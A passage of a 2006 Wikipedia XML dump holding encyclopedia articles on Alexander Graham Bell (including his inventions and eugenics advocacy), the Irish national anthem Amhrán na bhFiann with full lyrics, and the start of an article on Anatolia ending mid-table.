'''Alexander Graham Bell''' ([[March 3]], [[1847]] &amp;ndash; [[August 2]], [[1922]]) was a [[Canada|Canadian]] and [[Scotland|Scottish]]-[[United States|American]] [[scientist]] and [[inventor]].  Today, he is still widely considered to be the inventor of the [[telephone]], although this matter has become [[Invention of the telephone#Controversy|controversial]], with a number of people claiming that [[Antonio Meucci]] was the 'real' inventor and others holding out for [[Elisha Gray]], the founder of the [[Western Electric]] Manufacturing Company. In addition to his work in [[telecommunications]] technology, he was responsible for important advances in [[aviation]] and [[hydrofoil]] technology.

==Biography==
Born '''Alexander Bell''' in [[Edinburgh]], he later adopted the middle name ''Graham'' out of admiration for Alexander Graham, a family friend.  Many called him &quot;the father of the Deaf.&quot;  This title is somewhat ironic due to his belief in the practice of Eugenics.  He hoped to one day eradicate deafness from the population.

His family was associated with the teaching of [[elocution]]: his grandfather in [[London]], his uncle in [[Dublin]], and his father, [[Alexander Melville Bell]], in Edinburgh, were all professed elocutionists. The latter has published a variety of works on the subject, several of which are well known, especially his treatise on [[Visible Speech]], which appeared in Edinburgh in 1868. In this he explains his method of instructing [[deaf mutes]], by means of their [[eyesight]], how to articulate words, and also how to read what other persons are saying by the motions of their [[lip]]s.

Alexander Graham Bell was educated at the [[Royal High School]] of Edinburgh, from which he graduated at the age of 13. At the age of 16 he secured a position as a pupil-teacher of elocution and music in [[Weston House Academy]], at [[Elgin, Moray|Elgin]], [[Moray]], Scotland. The next year he spent at the [[University of Edinburgh]].  He was graduated from University College London.

From 1866 to 1867, he was an instructor at [[Somersetshire College]] at [[Bath, England|Bath]], [[Somerset]], [[England]].

While still in Scotland he is said to have turned his attention to the science of [[acoustics]], with a view to ameliorate the deafness of his mother.

In 1870, at the age of 23, he [[emigrated]] with his family to [[Canada]] where they settled at [[Brantford]]. Before he left Scotland, Bell had turned his attention to [[telephony]], and in Canada he continued an interest in communication machines. He designed a piano which could transmit its music to a distance by means of electricity. In 1873, he accompanied his father to [[Montreal]], Canada, where he was employed in teaching the system of visible speech. The elder Bell was invited to introduce the system into a large day-school for mutes at [[Boston, Massachusetts|Boston]], but he declined the post in favor of his son, who became Professor of Vocal Physiology and Elocution at [[Boston University]]'s School of Oratory. 

[[Image:1876 Bell Speaking into Telephone.jpg|thumb|Bell speaking into prototype model of the telephone]]
At [[Boston University]] he continued his research in the same field, and endeavored to produce a telephone which would not only send musical notes, but articulate speech. With financing from his American father-in-law, on [[March 7]], [[1876]], the [[United States Patent and Trademark Office|U.S. Patent Office]] granted him [[Patent]] Number 174,465 covering &quot;the method of, and apparatus for, transmitting vocal or other sounds telegraphically ... by causing electrical undulations, similar in form to the vibrations of the air accompanying the said vocal or other sound&quot;, the [[telephone]].

After obtaining the patent for the telephone, Bell continued his many experiments in communication, which culminated in the invention of the photophone-transmission of sound on a beam of [[light]] &amp;mdash; a precursor of today's [[fiber optics|optical fiber]] systems. He also worked in medical research and invented techniques for teaching speech to the deaf. The range of Bell's inventive genius is represented only in part by the eighteen patents granted in his name alone and the twelve he shared with his collaborators. These included fourteen for the telephone and [[Telegraphy|telegraph]], four for the [[photophone]], one for the [[phonograph]], five for aerial vehicles, four for hydroairplanes, and two for a [[selenium]] cell.

Bell had many great ideas that are now real inventions.  During his Volta Laboratory period, Bell and his associates considered impressing a magnetic field on a record, as a means of reproducing sound. Although the trio briefly experimented with the concept, they were unable to develop a workable prototype. They abandoned the idea, never realizing they had glimpsed a basic principle which would one day find its application in the tape recorder, the computer, and the CD-ROM. 

Bell's own home used a primitive form of air conditioning, in which fans blew currents of air across great blocks of ice. He also anticipated modern concerns with fuel shortages and industrial pollution. Methane gas, he reasoned, could be produced from the waste of farms and factories. At his [[Canada|Canadian]] estate in [[Beinn Bhreagh, Nova Scotia|Beinn Bhreagh]], [[Nova Scotia]], he experimented with composting toilets and devices to capture water from the atmosphere. In a magazine interview published shortly before his death, he reflected on the possibility of using solar panels to heat houses. 

In 1882, he became a [[naturalized citizen]] of the United States. In 1888, he was one of the founding members of the [[National Geographic Society]] and became its second president. He was the recipient of many honors. The [[France|French Government]] conferred on him the decoration of the [[Légion d'honneur]] (Legion of Honor), the [[Académie française]] bestowed on him the [[Volta Prize]] of 50,000 francs, the [[Royal Society of Arts]] in London awarded him the [[Albert medal]] in 1902, and the University of [[Würzburg]], [[Bavaria]], granted him a Ph.D. He was awarded the [[AIEE]]'s [[Edison Medal]] in 1914 for &quot;For meritorious achievement in the invention of the telephone.&quot;

Bell married Mabel Hubbard, who was one of his pupils at Boston University, as well as a deaf-mute, on [[July 11]], [[1877]]. His invention of the telephone was actually a device he was trying to create that would allow him to communicate with his wife and his deaf mother. He died at Beinn Bhreagh, located on [[Nova Scotia]]'s [[Cape Breton Island]] near the village of [[Baddeck, Nova Scotia|Baddeck]], in 1922 and is buried alongside his wife atop Beinn Bhreagh mountain overlooking [[Bras d'Or Lake]]. He was survived by two of their four children.

Bell was listed among the [[100 Greatest Britons]], [[The Greatest American|the 100 Greatest Americans]] and in the top ten [[The Greatest Canadian|Greatest Canadians]], the only person to be on more than one list. 

====Bell and decibel====
The ''bel'' (B) is a unit of measurement invented by [[Bell Labs]] and named after Bell. The bel was too large for everyday use, so the [[decibel]] (dB), equal to 0.1 B, became more commonly used.
The dB is commonly used as a unit for measuring sound intensity.

===The photophone===
Another of Bell's inventions was the [[photophone]], a device enabling the transmission of sound over a beam of light, which he developed together with [[Charles Sumner Tainter]]. The device employed light-sensitive cells of crystalline [[selenium]], which has the property that its [[electrical resistance]] varies inversely with the illumination (i.e., the resistance is higher when the material is in the dark, and lower when it is lighted). The basic principle was to modulate a beam of light directed at a receiver made of crystalline selenium, to which a [[telephone]] was attached. The modulation was done either by means of a vibrating mirror, or a rotating disk periodically obscuring the light beam.

This idea was by no means new. Selenium had been discovered by [[Jöns Jakob Berzelius]] in 1817, and the peculiar properties of crystalline or granulate selenium were discovered by [[Willoughby Smith]] in 1873. In 1878, one writer with the initials J.F.W. from [[Kew]] described such an arrangement in ''[[Nature (journal)|Nature]]'' in a column appearing on [[June 13]], asking the readers whether any experiments in that direction had already been done. In his paper on the photophone, Bell credited one [[A. C. Browne]] of [[London]] with the independent discovery in 1878&amp;mdash;the same year Bell became aware of the idea. Bell and Tainter, however, were apparently the first to perform a successful experiment, by no means any easy task, as they even had to produce the selenium cells with the desired resistance characteristics themselves.

In one experiment in [[Washington, D.C.]] the sender and the receiver were placed on different buildings some 700 [[Foot (unit of length)|feet]] (213 [[metre]]s) apart. The sender consisted of a mirror directing sunlight onto the mouthpiece, where the light beam was modulated by a vibrating mirror, focused by a [[optical device|lens]] and directed at the receiver, which was simply a [[parabolic]] reflector with the selenium cells in the [[focus]] and the telephone attached. With this setup, Bell and Tainter succeeded to communicate clearly.

The photophone was [[patent]]ed on [[December 18]] [[1880]], but the quality of communication remained poor and the research was not pursued by Bell.

===Metal detector===
Bell is also credited with the invention of the [[metal detector]] in 1881. The device was hurriedly put together in an attempt to find the bullet in the body of [[President of the United States|U.S. President]] [[James Garfield]]. The metal detector worked, but didn't find the bullet because the metal bedframe the President was lying on confused the instrument. Bell gave a full account of his experiments in a paper read before the [[American Association for the Advancement of Science]] in August 1882.  Though unsuccessful in its first incarnation, this achievement would eventually change the nature of physical security.

===Experimental aircraft===
Bell was also interested in [[aircraft]] and was a supporter of [[aerospace engineering]] research through the [[Aerial Experiment Association]]. The Association was officially formed at Baddeck, Nova Scotia in October 1907 at the suggestion of Mrs. Mabel Bell and with her financial support. It was headed by the inventor himself. The founding members were four young men, American [[Glenn Curtiss|Glenn H. Curtiss]], a motorcycle manufacturer who would later be awarded the Scientific American Trophy for the first official one-kilometre flight in the Western hemisphere and later be world-renowned as an airplane manufacturer; [[Frederick W. &quot;Casey&quot; Baldwin]], the first Canadian and first British subject to pilot a public flight in [[Hammondsport, New York]]; J.A.D. McCurdy; and Lieutenant [[Thomas Selfridge]], an official observer of the U.S. government. One of the project's inventions, the [[aileron]], is a standard component of aircraft today. (Note that the aileron was also invented independently by [[Robert Esnault-Pelterie]].)

In 1909, Bell's ''[[Silver Dart]]'' made the first controlled powered flight in Canada. However, a series of Canadian flights failed to interest the Canadian military in developing the airplane.

===The hydrofoil===
The March 1906 ''[[Scientific American]]'' article by American [[hydrofoil]] pioneer William E. Meacham explained the basic principle of hydrofoils. Bell considered the invention of the [[Hydrofoil|hydroplane]] as a very significant achievement. Based on information gained from that article he began to sketch concepts of what is now called a hydrofoil boat.

Bell and Casey Baldwin began hydrofoil experimentation in the summer of 1908 as a possible aid to airplane takeoff from water. Baldwin studied the work of the Italian inventor [[Enrico Forlanini]] and began testing models. This led him and Bell to the development of practical hydrofoil watercraft.

During his world tour of 1910&amp;ndash;1911 Bell and Baldwin met with Forlanini in Italy. They had rides in the Forlanini hydrofoil boat over Lake Maggiore. Baldwin described it as being as smooth as flying. On returning to Baddeck a number of designs were tried culminating in the HD-4, using Renault engines.  A top speed of 54 miles per hour was achieved, with rapid acceleration, good stability and steering, and the ability to take waves without difficulty. 
Bell's report to the navy permitted him to obtain two 350 [[horsepower]] (260 [[Watt|kW]]) engines in July 1919. On [[September 9]] [[1919]] the HD-4 set a world's marine speed record of 70.86 miles per hour. This record stood for ten years.

==Eugenics==
Along with many very prominent thinkers and scientists of the time, Bell was connected with the [[eugenics]] movement in the United States. From 1912 until 1918 he was the chairman of the board of scientific advisors to the [[Eugenics Record Office]] associated with [[Cold Spring Harbor Laboratory]] in [[New York]], and regularly attended meetings. In 1921 he was the honorary president of the [[Second International Congress of Eugenics]] held under the auspices of the [[American Museum of Natural History]] in New York. Organizations such as these advocated passing laws (with success in some states) that established the [[compulsory sterilization]] of people deemed to be, as Bell called them, a &quot;defective variety of the human race&quot;. 

Much of his thoughts about people he considered defective centered on the deaf because of his long contact with them in relation to his work in [[deaf education]]. In addition to advocating sterilization of the deaf, Bell wished to prohibit deaf teachers from being allowed to teach in schools for the deaf, he worked to  outlaw the marriage of deaf individuals to one another, and he was an ardent supporter of [[oralism]] over [[manualism]]. His avowed goal was to eradicate the language and culture of the deaf so as to force them to integrate into the hearing culture for their own long-term benefit and for the benefit of society at large. Although this attitude is widely seen as paternalistic and arrogant today, it was accepted in that era.

Although he supported what many would consider harsh and inhumane policies today, he was not unkind to deaf individuals who proved his theories of oralism. He was a personal and longtime friend of [[Helen Keller]], and his wife Mabel was deaf, though none of their children were. Bell was well known as a kindly father and loving family man who took great pleasure playing with his many grandchildren.

== Tribute ==

In the early 1970s, UK Rock Group [[The Sweet]] recorded a tribute to Bell and the telephone, suitably titled &quot;Alexander Graham Bell&quot;. The song tells a fictional account of the invention, in which Bell devises the telephone so he can talk to his girlfriend who lives on the other side of the United States from him. The song reached the top 40 in the UK and went on to sell over one million recordings world-wide.

==External links==
{{wikiquote}}{{commons|Alexander Graham Bell}}
*[http://www.biographi.ca/EN/ShowBio.asp?BioId=42027 Biography at the ''Dictionary of Canadian Biography Online'']
*[http://bell.uccb.ns.ca/ Alexander Graham Bell Institute]
*[http://www.bellhomestead.ca/ Bell Homestead, National Historic Site]
*[http://www.alexanderbell.com/ Alexander Bell.com - Telecom Pioneers by Phonebook of the World.com]
*[http://histv2.free.fr/bell/bell1.htm Bell's speech] before the American Association for the Advancement of Science in [[Boston, Massachusetts|Boston]] on [[August 27]], [[1880]], presenting the [[photophone]]. Very clear description. Published as &quot;On the Production and Reproduction of Sound by Light&quot; in the ''American Journal of Sciences'', Third Series, vol. '''XX''', #118, October 1880, pp. 305 - 324; and as &quot;[[Selenium]] and the Photophone&quot; in ''[[Nature (journal)|Nature]]'', September 1880.
*[http://patft.uspto.gov/netacgi/nph-Parser?Sect1=PTO1&amp;Sect2=HITOFF&amp;d=PALL&amp;p=1&amp;u=/netahtml/srchnum.htm&amp;r=1&amp;f=G&amp;l=50&amp;s1=174465.WKU.&amp;OS=PN/174465&amp;RS=PN/174465 United States Patent and Trademark Office], patent US174465 for the telephone.
*[http://memory.loc.gov/ammem/bellhtml/bellhome.html Alexander Graham Bell family papers] Online version at the Library of Congress comprises a selection of 4,695 items (totaling about 51,500 images) containing correspondence, scientific notebooks, journals, blueprints, articles, and photographs documenting Bell invention of the telephone and his involvement in the first telephone company, his family life, his interest in the education of the deaf, and his aeronautical and other scientific research.

&lt;!-- Categorization --&gt;
[[Category:1847 births|Bell, Alexander Graham]]
[[Category:1922 deaths|Bell, Alexander Graham]]
[[Category:American eugenicists|Bell, Alexander Graham]]
[[Category:American entrepreneurs|Bell, Alexander Graham]]
[[Category:American inventors|Bell, Alexander Graham]]
[[Category:American physicists|Bell, Alexander Graham]]
[[Category:Autodidacts|Bell, Alexander Graham]]
[[Category:British eugenicists|Bell, Alexander Graham]]
[[Category:Canadian inventors|Bell, Alexander Graham]]
[[Category:Canadian physicists|Bell, Alexander Graham]]
[[Category:Canadian eugenicists|Bell, Alexander Graham]]
[[Category:Canadian businesspeople|Bell, Alexander Graham]]
[[Category:Edinburghers|Bell, Alexander Graham]]
[[Category:History of Scotland|Bell, Alexander Graham]]
[[Category:Legion of Honor recipients|Bell, Alexander Graham]]
[[Category:Moray|Bell, Alexander Graham]]
[[Category:Naturalized citizens of the United States|Bell, Alexander Graham]]
[[Category:People from Massachusetts|Bell, Alexander Graham]]
[[Category:People from Victoria County, Nova Scotia|Bell, Alexander Graham]]
[[Category:Scottish-Americans|Bell, Alexander Graham]]
[[Category:Scottish business people|Bell, Alexander Graham]]
[[Category:Scottish physicists|Bell, Alexander Graham]]
[[Category:Scottish inventors|Bell, Alexander Graham]]
[[Category:Bath and North East Somerset|Bell, Alexander Graham]]
[[Category:Telecommunications history|Bell, Alexander Graham]]
[[Category:Unitarians|Bell, Alexander Graham]]
[[Category:UCL alumni|Bell, Alexander Graham]]
[[Category:University of Edinburgh alumni|Bell, Alexander Graham]]

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  </page>
  <page>
    <title>Amhrán na bhFiann</title>
    <id>853</id>
    <revision>
      <id>40627918</id>
      <timestamp>2006-02-21T22:53:04Z</timestamp>
      <contributor>
        <ip>87.80.100.62</ip>
      </contributor>
      <comment>/* Lyrics */</comment>
      <text xml:space="preserve">'''''Amhrán na bhFiann'''''&lt;sup&gt;1&lt;/sup&gt; is the [[national anthem]] of the [[Republic of Ireland]]. Although usually sung in the [[Irish language]], a translation of the original, it is also known by the English-language title, '''''A Soldier's Song''''', as well as '''The National Anthem of Ireland''' ('''Amhrán Náisiúnta na hÉireann'''). The lyrics of the song are by [[Peadar Kearney]] and the music by both Kearney and [[Patrick Heeney]]. It was composed in [[1907]] and was first published in ''[[Irish Freedom]]'' in [[1912]]. The [[Irish language]] version of the original was the work of [[Bulmer Hobson]]. 

The song is regarded by many [[Irish nationalism|nationalists]] as the national anthem of the whole of [[Ireland]], and it is therefore sung, for example, at [[Gaelic Athletic Association]] matches held anywhere on the island. [[Unionists (Ireland)|Unionist]]s, however, reject this use of ''Amhrán na bhFiann'', and at international games played by the all-Ireland [[Ireland national rugby union team|Irish Rugby Football Union]] team the song ''[[Ireland's Call]]'' is sung instead of, or (in the [[Republic of Ireland]]) as well as, ''Amhrán na bhFiann''.

==History==
''Amhrán na bhFiann'' was relatively unknown until it was sung by rebels in the [[General Post Office (Dublin)|General Post Office]] (GPO) during the [[Easter Rising]] of [[1916]], and afterwards in British internment camps. The song became the official state anthem in [[1926]] when it replaced the unofficial anthem, ''[[God Save Ireland]]''. 

''[[God Save the Queen|God Save the King]]'' was the official anthem of the [[United Kingdom of Great Britain and Ireland]] until the independent [[Irish Free State]] was established in [[1922]]. The continued use of ''God Save the King'' by some Irish people caused embarrassment to the new Irish state and, on one famous occasion, [[James McNeill|Governor-General James McNeill]] refused to attend a public function in [[Trinity College, Dublin|Trinity College]] when he discovered that the university intended playing the anthem during his visit. Even after the adoption of ''Amhrán na bhFiann'' as the official anthem of the Irish Free State in July [[1926]], a minority continued to sing the British anthem, and to pray for the King and Queen in religious ceremonies, for a number of years.

In [[1934]], the Irish state acquired the copyright of the song for the sum of £1,200.[http://www.irishstatutebook.ie/gen121934a.html] 

Controversy also surrounds the change in the wording of ''Amhrán na bhFiann'' over the years. In the original translation, the first line read as ''Sinne Laochra Gaedheal'' (literally &quot;we the heroes of Ireland&quot;). This has since been replaced by ''Sinne Fianna Fáil'', which to some people is evidence that the anthem has been hijacked by the [[Fianna Fáil]] party.[http://www.ireland.com/newspaper/letters/2005/1101/]

In recent years, a number of Irish newspapers and columnists have proposed replacing ''Amhrán na bhFiann'' with a new national anthem, arguing that the current wording is excessively militant and anti-[[United Kingdom|British]]. Others have argued that the melody is difficult for bands to play. Problems have sometimes been witnessed at international sporting events, where either the entire song (not just the chorus that constitutes the anthem) has been played (as occurred, for example, at the [[1984 Summer Olympics|Los Angeles Olympics]]) or the right part has been played but at the wrong speed, as occurred at the [[2000 Summer Olympics|Sydney Olympics]] in [[2000]]. 

Some have proposed that the anthem be replaced with the Irish Rugby Football Union's song, ''Ireland's Call''. The suggestion has also been made that, as occurred in [[Germany]] after [[World War II]], the government might change the words of the anthem while keeping the original melody.

==Lyrics==
The Irish national anthem consists of the chorus only of ''Amhrán na bhFiann'', and is almost always sung in Irish. The first two lines of the anthem and the last two, played together, form the Irish ''Presidential Salute'', which is played when the [[President of Ireland]] attends official events. The chorus of ''Amhrán na bhFiann'', as used for the anthem, is given below.

===Irish version===
:Sinne Fianna Fáil
:Atá faoi gheall ag Éirinn,
:Buíon dár slua
:Thar toinn do ráinig chughainn,
:Faoi mhóid bheith saor.
:Sean-tír ár sinsear feasta
:Ní fhágfar faoin tiorán ná faoin tráill
:Anocht a théam sa bhearna baoil,
:Le gean ar Ghaeil chun báis nó saoil
:Le gunna scréach faoi lámhach na bpiléar
:Seo libh canaig Amhrán na bhFiann.

===Phonetic version===
:shin-na fee-in-na fall
:a-thaw fay yeol egg erin
:bween dar slew
:harr thin the raw ne gooin
:Fway vawid veh sair
:shawn-tier awr shinshir fasta
:nee-owg fur fay teer-awn naw feign trawl
:an nocht a hame saw varna vwail
:lay gown owr gwale cunn boss no sale
:le gunna sh-rake fay law buck naw bell air
:shull liv con-ig arawn naveen

===English version===
:Soldiers are we
:whose lives are pledged to Ireland;
:Some have come
:from a land beyond the wave.
:Sworn to be free,
:No more our ancient sireland
:Shall shelter the despot or the slave.
:Tonight we man the ''bearna baoil'' &lt;sup&gt;2&lt;/sup&gt;
:In Erin's cause, come woe or weal;
:'Mid cannon's roar and rifles' peal,
:We'll chant a soldier's song.

==Complete Lyrics==
The Following is the full lyrics of Amhrán na bhFiann, in Irish and English.

===Irish lyrics===
:Seo dhibh a cháirde duan Óglaigh,
:Cathréimeach briomhar ceolmhar,
:Ár dtinte cnámh go buacach táid,
:'S an spéir go min réaltogach
:Is fonnmhar faobhrach sinn chun gleo
:'S go tiúnmhar glé roimh thíocht do'n ló
:Fé chiúnas chaomh na hoiche ar seol:
:Seo libh canaídh Amhrán na bhFiann.  

:Curfá:
:Sinne Fianna Fáil
:A tá fé gheall ag Éirinn,
:buion dár slua
:Thar toinn do ráinig chugainn,
:Fé mhóid bheith saor.
:Sean tír ár sinsir feasta
:Ní fhagfar fé'n tiorán ná fé'n tráil
:Anocht a théam sa bhearna bhaoil,
:Le gean ar Ghaeil chun báis nó saoil
:Le guna screach fé lámhach na bpiléar
:Seo libh canaídh Amhrán na bhFiann. 

:Cois bánta réidhe, ar árdaibh sléibhe,
:Ba bhuachach ár sinsir romhainn,
:Ag lámhach go tréan fé'n sár-bhrat séin
:Tá thuas sa ghaoith go seolta
:Ba dhúchas riamh d'ár gcine cháidh
:Gan iompáil siar ó imirt áir,
:'S ag siúl mar iad i gcoinne námhad
:Seo libh, canaídh Amhrán na bhFiann. 

:Curfá 

:A bhuíon nách fann d'fhuil Ghaeil is Gall,
:Sin breacadh lae na saoirse,
:Ta scéimhle 's scanradh i gcroíthe namhad,
:Roimh ranna laochra ár dtire.
:Ár dtinte is tréith gan spréach anois,
:Sin luisne ghlé san spéir anoir,
:'S an bíobha i raon na bpiléar agaibh:
:Seo libh, canaídh Amhrán na bhFiann. 

:Curfá 

===English lyrics===
:We'll sing a song, a soldier's song,
:With cheering rousing chorus,
:As round our blazing fires we throng,
:The starry heavens o'er us;
:Impatient for the coming fight,
:And as we wait the morning's light,
:Here in the silence of the night,
:We'll chant a soldier's song. 

:Chorus:
:Soldiers are we
:whose lives are pledged to Ireland;
:Some have come
:from a land beyond the wave.
:Sworn to be free,
:No more our ancient sire land
:Shall shelter the despot or the slave.
:Tonight we man the gap of danger
:In Erin's cause, come woe or weal
:'Mid cannons' roar and rifles peal,
:We'll chant a soldier's song. 

:In valley green, on towering crag,
:Our fathers fought before us,
:And conquered 'neath the same old flag
:That's proudly floating o'er us.
:We're children of a fighting race,
:That never yet has known disgrace,
:And as we march, the foe to face,
:We'll chant a soldier's song. 

:Chorus 

:Sons of the Gael! Men of the Pale!
:The long watched day is breaking;
:The serried ranks of Inisfail
:Shall set the Tyrant quaking.
:Our camp fires now are burning low;
:See in the east a silv'ry glow,
:Out yonder waits the Saxon foe,
:So chant a soldier's song. 

:Chorus  

==Footnote==
# ''Amhrán na bhFiann'' is pronounced &quot;ow-rawn na veean&quot;
# Meaning &quot;gap of danger&quot; and pronounced &quot;vair-na vwail&quot; ''(See article on [[Battle of New Ross 1798#Attack|Battle of New Ross]] for explanation of origin)

==External links==
{{wikisource}}
*[http://www.taoiseach.gov.ie/index.asp?docID=792]Text of National Anthem published on Department of Taoiseach website
*[http://www.irishroots.org/aoh/anthem.htm] Complete Lyrics

===Media files===
* [http://www.lengua-translations.de/anthems/ireland.mid MIDI file] 7.6 KB simple sequence
* [http://www.taoiseach.gov.ie/getFile.asp?FC_ID=288&amp;docID=241 MP3 file] 1 MB anthem played by the Army Band
* [http://thetvroom.com/video-4/BE-AR-RTE1-ANTHEM-94-02.rm RealMedia file] 3.9 MB audio-visual as used on [[Radio Telefís Éireann|RTE]] television in the 1980s/90s

[[Category:National anthems]]
[[Category:Republic of Ireland]]
[[Category:Irish songs]]

[[cs:Irská hymna]]
[[cy:Amhrán na bhFiann]]
[[de:Nationalhymne der Republik Irland]]
[[es:Amhrán na bhFiann]]
[[fr:Amhrán na bhFiann]]
[[ga:Amhrán na bhFiann]]
[[it:Amhrán na bhFiann]]
[[he:המנון אירלנד]]
[[hu:Ír himnusz]]
[[nl:Amhrán na bhFiann]]
[[ja:アイルランドの国歌]]
[[nn:Amhrán na bhFiann]]
[[pl:Hymn Irlandii]]
[[pt:Hino nacional da Irlanda]]
[[ru:Гимн Ирландии]]
[[sr:Химна Ирске]]
[[fi:Amhrán na bhFiann]]
[[sv:Amhrán na bhFiann]]
[[tr:İrlanda Ulusal Marşı]]</text>
    </revision>
  </page>
  <page>
    <title>Anatolia</title>
    <id>854</id>
    <revision>
      <id>41799125</id>
      <timestamp>2006-03-01T20:55:01Z</timestamp>
      <contributor>
        <username>OrphanBot</username>
        <id>621721</id>
      </contributor>
      <comment>Removing image with no copyright information.  Such images that are older than seven days may be deleted at any time.</comment>
      <text xml:space="preserve">[[Image:Anatolia composite NASA.png|thumb|200px|right|Asia Minor lies east of the [[Bosporus]], between the Black Sea and the Mediterranean.]]

'''Anatolia''' ([[Turkish language|Turkish]]: &quot;Anadolu&quot;,[[Greek language|Greek]]: &quot;Aνατολή&quot; ''Αnatolē'' or Ανατολία ''Anatolìa'') is a region of [[Southwest Asia]] which corresponds today to the [[Asia]]n portion of [[Turkey]], as opposed to the [[Europe]]an portion, [[Rumelia]]. It means &quot;rising of the sun&quot; or &quot;East&quot;. The Turkish word '''Anadolu''' derives from the original Greek version.  It also often called by the [[Latin]] name of '''Asia Minor'''.
 
Because of its strategic location at the intersection of Asia and [[Europe]], Anatolia has been a cradle for several [[civilization]]s since [[prehistoric]] ages, with [[Neolithic]]  settlements such as [[Çatalhöyük]] (Pottery Neolithic), [[Çayönü]] ([[Pre-Pottery Neolithic A]] to pottery Neolithic), [[Nevali Cori]] ([[Pre-Pottery Neolithic B]]), [[Hacilar]] (Pottery Neolithic), [[Göbekli Tepe]] ([[Pre-Pottery Neolithic A]]) and [[Mersin]]. The settlement of [[Troy]] starts in the Neolithic and continues forward into the Iron Age.
Major civilizations and peoples that have settled in or conquered Anatolia include the [[Colchians]], [[Hattians]], [[Luwian]]s, [[Hittites]], [[Phrygia]]ns, [[Cimmerian]]s, [[Lydia]]ns, [[Persians]], [[Celt]]s, [[Tabal]]s, [[Meshech]]s, [[Ancient Greece|Greeks]], [[Pelasgians]], [[Armenians]], [[Roman Empire|Romans]], [[Goths]], [[Kurds]], [[Byzantine Empire|Byzantines]], [[Seljuk Turks]], and [[Ottoman Empire|Ottomans]]. These peoples belonged to many varied [[ethnic]] and [[linguistic]] traditions. Through recorded history, Anatolians have spoken both [[Indo-European languages|Indo-European]] and [[Semitic languages|Semitic]] languages, as well as many languages of uncertain affiliation. In fact, given the antiquity of the Indo-European [[Hittite language|Hittite]] and Luwian languages, some scholars have proposed Anatolia as the hypothetical center from which the Indo-European languages have radiated. Other authors have proposed an Anatolian origin for the [[Etruscans]] of ancient [[Italy]].
&lt;!-- Image with unknown copyright status removed: [[Image:Asia Minor Ancient Map.jpg|right|200px|thumb|Asia Minor in Antiquity]] --&gt;
Today the inhabitants of Anatolia are mostly native speakers of the [[Turkish language]], which was introduced with the conquest of Anatolia by [[Turkic peoples]] and the rise of the [[Seljuk Empire]] in the [[11th century]]. However, Anatolia remained multi-ethnic until the early [[20th century]] (see [[Rise of Nationalism under the Ottoman Empire]]). The Turks in [[Thrace]] were forced to leave their homes and settle in Anatolia during the [[Balkan Wars]]. The last population exchange, as result of the [[Treaty of Lausanne]], between Turkey and Greece eliminated the majority of Turks in Greece and Greeks in Turkey. A significant [[Kurdish people|Kurdish]] ethnic and linguistic minority exists in the south eastern regions, while [[Armenian people|Armenians]] have a waning presence in the northeast and in cities.

== States of Anatolia ==
Anatolia has been the center of many great states throughout history. The first known state was built by Hittites.
{{Template:History_of_Anatolia}}
{|style=&quot;border:1px solid #8888aa; background-color:#f7f8ff; padding:2px; font-size:85%;&quot;  align=center
| colspan=&quot;3&quot; rowspan=&quot;1&quot; style=&quot;text-align: center; background-color: rgb(204, 153, 51);&quot; | States that existed over the Anatolia
|-
|[[History of Hattians and Hittites|Old Kingdom]]
|[[Ionia]]
|[[Byzantine Empire]]
|-
|[[History of the New Kingdom|New Kingdom]]
|[[Hellenistic Greece]]
|[[Nicaean Empire]]
|-
|[[History of the Neo-Hittite Kingdoms|Neo-Hittite]]
|[[Pergamon]]
|[[Ottoman Empire]]
|-
|[[Urartu]]
|[[Achaemenid Empire|Persian Empire]]
|[[Roman Greece]]
|[[Turkey|Republic of Turkey]]
|}

== Ottoman Rule of Asia Minor after 1885==
After 1885, with the governing reforms of [[Tanzimat]], the control of the Ottoman land in Asia Minor divided into 15 [[vilayet]]s, one [[sanjak]] and one mutersaflik of the vilayet of [[Constantinople]] (both being on the asiatic side of the [[Bosporus]]).

Every vilayet was further divided in a number of sanjaks.

More specifically the political division of Asia Minor in 1915 was as follows;

* Vilayet of [[Izmir]] divided in the sanjaks of [[Manisa]], Izmir, [[Aydin]], [[Denizli]], [[Mentese]]
* Independent vilayet of the [[Dardanelles]]
* Vilayet of [[Bursa Province|Bursa]] divided in the sanjaks of [[Balikesir]], Bursa, Erdogrul, [[Kutahya]], [[Afyon]]
* Vilayet of [[Konya]] divided in the sanjaks of [[Burdur]], [[Hamid abad]], [[Atalya]], Konya, [[Nigde]]
* Vilayet of [[Kastamonu]] divided in the sanjaks of [[Bolu]], [[Cankiri]], Kastamonu, [[Sinop]]
* Vilayet of [[Ankara]] divided in the sanjaks of Ankara, [[Kirsehir]], [[Yozgat]], [[Kayseri]]
* Vilayet of [[Adana]], divided in the sanjaks of Icel([[Mersin]]), Adana, Hozan, Jebel-i-Bereket
* Vilayet of [[Sivas]] divided in the sanjaks of Sivas, [[Tokat]], [[Amasya]], Karahisar-Sarki
* Vilayet of [[Trabzon]] divided in the sanjaks of [[Samsun]], Trabzon, Argiropolis, [[Lazistan]]
* Vilayet of [[Erzurum]]
* Vilayet of [[Bitlis]] divided in the sanjaks of [[Mus]], Ghen, [[Siirt]]
* Vilayet of [[Van]] divided in the sanjaks of Van, [[Hakkari]]
* Vilayet of Mosul divided in the sanjaks of Mosul, Sehrizan, Suleymanih
* Vilayet of Mamure-ul-Azil divided in the sanjak of [[Diyarbakir]] and the mutersaflik of Zor
* Vilayet of Halep divided in the sanjaks of Halep, [[Urfa]], [[Kahramanmaraş|Maras]]
Also the
* Independent mutersaflik of [[Izmit]] and
* the sanjak of [[Uskudar]]

== Ethnic distribution in Asia Minor in the early 20th century (before the [[Treaty of Lausanne]]) ==

Based on French [[census]] files of [[1915]] the total population of Asia Minor (not including [[Eastern Thrace]], the vilayets of the orient &amp; the city of Constantinople) was 10,372,411 persons of all nationalities and religions.

More specifically the distribution of differerent [[ethnic group]]s as per [[Vilayet]] and [[Sanjak]] is as follows; 

{| class=&quot;wikitable&quot;
|- style=&quot;background-color:#C9C9C9&quot; 

|- style=&quot;background-color:#E9E9E9&quot;
! Sanjak or Vilayet !! Greeks !! Turks !! Armenians !! Rest !! Total
|-
|'''Sanjak of Uskudar''' || 74,457 || 124,281 || 35,560 || 24,192 || 258,490
|-
|'''Mutersaflik of Izmit''' || 73,134 || 116,949 || 48,635 || 3,615  || 242,333
|- style=&quot;background-color:#E9E9E9&quot;
| '''Vilayet of the Dardanelles''' || 32,830 || 138,902 || 2,336 || &amp;nbsp;  || 177,894
|- style=&quot;background-color:#E9E9E9&quot; 
|colspan=&quot;7&quot;|'''Vilayet of Izmir''':
|-
| Sanjak of Izmir || 449,044 || 219,494 || 11,395 || &amp;nbsp; ||  754,046
|-
